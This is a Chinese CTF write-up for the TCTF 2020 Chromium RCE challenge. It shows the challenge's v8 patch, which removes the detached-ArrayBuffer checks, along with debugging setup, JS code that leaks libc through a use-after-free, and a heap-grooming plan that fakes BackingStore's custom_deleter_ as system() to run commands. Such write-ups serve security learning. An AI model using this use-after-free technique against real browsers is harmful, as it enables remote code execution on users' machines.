TCTF-2020-Chromium-RCE

题目描述

Enviroment: Ubuntu18.04
It’s v8, but it’s not a typical v8, it’s CTF v8! Please enjoy pwning this d8 🙂
Update: If you want to build one for debugging, please

git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b

patch分析

删去了对于是否是Attached状态的检查,默认都是Attached。这样就能读写已经被释放的chunk了。

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);

     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);

       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)

patch中删去了import--allow-native-syntax的支持。这样%DebugPrint%SystemBreak都不能用了,但%ArrayBufferDetach还能用,并且不需要加--allow-native-syntax参数。

--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
   const Runtime::Function* function =
       Runtime::FunctionForName(name->raw_data(), name->length());

+  // Only %ArrayBufferDetach allowed
+  if (function->function_id != Runtime::kArrayBufferDetach) {
+    return factory()->NewUndefinedLiteral(kNoSourcePosition);
+  }
+
   // Be more permissive when fuzzing. Intrinsics are not supported.
   if (FLAG_fuzzing) {
     return NewV8RuntimeFunctionForFuzzing(function, args, pos);

为了方便调试,修改了patch,保留了--allow-native-syntax的支持

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
     // 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
     // 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
     //   exception.
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+    const utarget = %RawDownCast<AttachedJSTypedArray>(target);

     const overloadedArg = arguments[0];
     try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
       // 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
       // 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
       //   exception.
-      const utypedArray =
-          typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+      const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);

       TypedArrayPrototypeSetTypedArray(
           utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal<Context> Shell::CreateRealm(
     }
     delete[] old_realms;
   }
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   Local<Context> context =
-      Context::New(isolate, nullptr, global_template, global_object);
+      Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+                   v8::MaybeLocal<Value>());
   DCHECK(!try_catch.HasCaught());
   if (context.IsEmpty()) return MaybeLocal<Context>();
   InitializeModuleEmbedderData(context);
@@ -2285,9 +2282,9 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
   // This needs to be a critical section since this is not thread-safe
   base::MutexGuard lock_guard(context_mutex_.Pointer());
   // Initialize the global objects
-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   EscapableHandleScope handle_scope(isolate);
-  Local<Context> context = Context::New(isolate, nullptr, global_template);
+  Local<Context> context = Context::New(isolate, nullptr,
+                                        ObjectTemplate::New(isolate));
   DCHECK(!context.IsEmpty());
   if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
     isolate->SetWasmLoadSourceMapCallback(ReadFile);

调试环境搭建

在已有的v8源码文件夹内
(记得gclient sync,不然v8gen会报错)

git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

然后起一个attach.sh,而后用gdb -x attach.sh

file /path/to/v8/out.gn/x64.debug/d8
set args --allow-natives-syntax exp.js
set follow-fork-mode parent

无SystemBreak调试

如果不自己编译源码,因为没给%SystemBreak(),可以在js中加入数学运算Math.cosh(1);,然后gdb在运算处下断点b v8::base::ieee754::cosh,当执行到cosh时,给malloccalloc下断点即可。
例如

function break_point(){
    Math.cosh(1);
}
break_point();
var arr1 = new ArrayBuffer(48);
break_point();

利用

常规的利用是通过UAF,利用tcache dup来改写free hook块为system。这个可参见https://www.anquanke.com/post/id/209401#h2-0

此处用的是PwnThyBytes的思路,通过改写BackingStore中的custom_deleter_来执行system。

JSArray结构

例如有一个var a = [1,2,3];的JSArray,v8通过称为Map/Shape的内部类来管理它。


但是array中的每个元素都是存储在Elements Backing Store中。
Backing Store只保存每个元素的value。

因此当JSArray持有对BackingStore引用时,它处于Attached状态。当JSArray失去对BackingStore引用时,它处于Detached状态。

ArrayBuffer(JSArrayBufferd)的View方式

An ArrayBuffer is more than just a simple array. It contains raw binary data. This is very useful for direct memory manipulation and conserving space. When you create a normal array, you won't get a proper set of contiguous memory in many cases since arrays can contain any combination of different kinds of objects With an ArrayBuffer, you have the option of moving through that data on the byte level by using Views:
Typed Arrays (Uint8Array, Int16Array, Float32Array, etc.) interpret the ArrayBuffer as an indexed sequence of elements of a single type.
Instances of DataView let you access data as elements of several types (Uint8, Int16, Float32, etc.), at any byte offset inside an ArrayBuffer.

大意是,Typed Arrays是一片连续的内存,包含同类型元素。通过DataView的方式可以索引ArrayBuffer中的数据(可以以不同的数据类型,字节序读取数据)

v8::internal::JSArrayBuffer内存结构

Offset: 0x00 | Map Offset
Offset: 0x08 | Properties Offset
Offset: 0x10 | Elements Offset
Offset: 0x18 | Byte Length
Offset: 0x20 | Backing Store
Offset: 0x28 | Allocation Base
Offset: 0x30 | Allocation Length
Offset: 0x38 | Bit Field

其中存在的指针压缩,可参考https://v8.dev/blog/pointer-compression
例如

DebugPrint: 0x230c080c4021: [JSArrayBuffer]
 - map: 0x230c08281189 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x230c08246b99 <Object map = 0x230c082811b1>
 - elements: 0x230c080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x555555724c70
 - byte_length: 48
 - detachable
 - properties: 0x230c080406e9 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
0x230c08281189: [Map]
 - type: JS_ARRAY_BUFFER_TYPE
 - instance size: 56
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - back pointer: 0x230c0804030d <undefined>
 - prototype_validity cell: 0x230c081c0451 <Cell value= 1>
 - instance descriptors (own) #0: 0x230c080401b5 <DescriptorArray[0]>
 - prototype: 0x230c08246b99 <Object map = 0x230c082811b1>
 - constructor: 0x230c08246ac9 <JSFunction ArrayBuffer (sfi = 0x230c081cb1c5)>
 - dependent code: 0x230c080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

调试的时候发现,DebugPrint出的JSArrayBuffer地址比内存中的布局地址大0xd个字节。

即此处0x230c080c4021-0xd=0x230c080c4014

pwndbg> telescope 0x230c080c4021-0xd
00:0000│   0x230c080c4014 ◂— 0x0
01:0008│   0x230c080c401c ◂— 0x828118900000000
02:0010│   0x230c080c4024 ◂— 0x80406e9080406e9
03:0018│   0x230c080c402c ◂— 0x30 /* '0' */
04:0020│   0x230c080c4034 —▸ 0x555555724c70 ◂— 0x0  // back store
05:0028│   0x230c080c403c —▸ 0x5555556981b0 ◂— 0x0  // Allocation Base
06:0030│   0x230c080c4044 ◂— 0x2
07:0038│   0x230c080c404c ◂— 0x0

back store的地址为0x555555724c70,可知back store的chunk大小为0x40,内容大小为0x30

pwndbg> heap 0x555555724c70-0x10
Allocated chunk | PREV_INUSE
Addr: 0x555555724c60
Size: 0x41

arrayBuffer(SIZE)创建的时候,还会申请如下大小的内存

  • calloc(SIZE) for the Data buffer
  • malloc(48) for the BackingStore
  • malloc(32) for the shared_ptr
  • malloc(40) for the ArrayBufferExtension
    Detach一个array的时候(即%ArrayBufferDetach),前三个chunks(Data buffer)会被释放

泄露libc

通过UAF残留的bk和fk

.set()方法可以将undetached buffer中的内容复制到新buffer,从而获取(泄露)undetached buffer中的残留。

var a = new ArrayBuffer(8 * 1000);
var a_view1 = new Uint8Array(a);
var a_view2 = new BigUint64Array(a);

var b = new ArrayBuffer(8 * 1000);
var b_view1 = new Uint8Array(b);
var b_view2 = new BigUint64Array(b);

%ArrayBufferDetach(a);

b_view1.set(a_view1);

console.log('[*] leak = 0x'+b_view2[1].toString(16));

libc_base=b_view2[1]-0x3ebca0n;

控制程序流

BackingStore的构造函数

  BackingStore(void* buffer_start, size_t byte_length, size_t byte_capacity,
               SharedFlag shared, bool is_wasm_memory, bool free_on_destruct,
               bool has_guard_regions, bool custom_deleter, bool empty_deleter)
      : buffer_start_(buffer_start),
        byte_length_(byte_length),
        byte_capacity_(byte_capacity),
        is_shared_(shared == SharedFlag::kShared),
        is_wasm_memory_(is_wasm_memory),
        holds_shared_ptr_to_allocator_(false),
        free_on_destruct_(free_on_destruct),
        has_guard_regions_(has_guard_regions),
        globally_registered_(false),
        custom_deleter_(custom_deleter),
        empty_deleter_(empty_deleter) {}

其中有custom_deleter_变量
检查custom_deleter_是否存在,然后通过调用callback,参数为buffer中的内容。
backing-store.cc中custom_deleter_

  if (custom_deleter_) {
    DCHECK(free_on_destruct_);
    TRACE_BS("BS:custome deleter bs=%p mem=%p (length=%zu, capacity=%zu)\n",
             this, buffer_start_, byte_length(), byte_capacity_);
    type_specific_data_.deleter.callback(buffer_start_, byte_length_,
                                         type_specific_data_.deleter.data);
    Clear();
    return;
  }

通过伪造custom_deleter_为system,就可以执行system,其参数就是arrayBuffer中的内容了。
查看backing store内存布局

pwndbg> tele 0x555555724930-0x10 10
00:0000│   0x555555724920 ◂— 0x0
01:0008│   0x555555724928 ◂— 0x41 // chunk size
02:0010│   0x555555724930 —▸ 0x555555724970  // buffer start
03:0018│   0x555555724938 ◂— 0x30   //len
... ↓  // capacity (0x30)
05:0028│   0x555555724948 —▸ 0x7fffffffd750 —▸ 0x555555659b60 —▸ 0x55555560dad0 ◂— push   rbp // deleter_
06:0030│   0x555555724950 ◂— 0x5d203d3d3d3d3d3d ('====== ]')
07:0038│   0x555555724958 ◂— 0x3e293563316208 // flags
08:0040│   0x555555724960 —▸ 0x555555724968 ◂— 0x41 /* 'A' */

为了控制BackingStore结构体,

  • 创建大小48的ArrayBuffer并释放,此时有3个chunks被free(分别为48字节的content块,32字节的shared_ptr块,48字节的BackStore块)
  • 创建32字节大小的ArrayBuffer(此时会使用之前释放的32字节的shared_ptr块,48字节的BackStore块)
  • 再创建一个大的ArrayBuffer(大小不是48字节即可),这样新的ArrayBuffer中BackStore为第一次ArrayBuffer中的content块,而后使用.set()改写第一次ArrayBuffer中的content为另外布置好的ArrayBuffer(即再创建一个ArrayBuffer,其内容为伪造的BackStore)

此时detach大的ArrayBuffer即可触发system,大ArrayBuffer的内容为执行的命令。

reference

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,298评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,701评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,078评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,687评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,018评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,410评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,729评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,412评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,124评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,379评论 2 242
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,903评论 1 257
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,268评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,894评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,014评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,770评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,435评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,312评论 2 260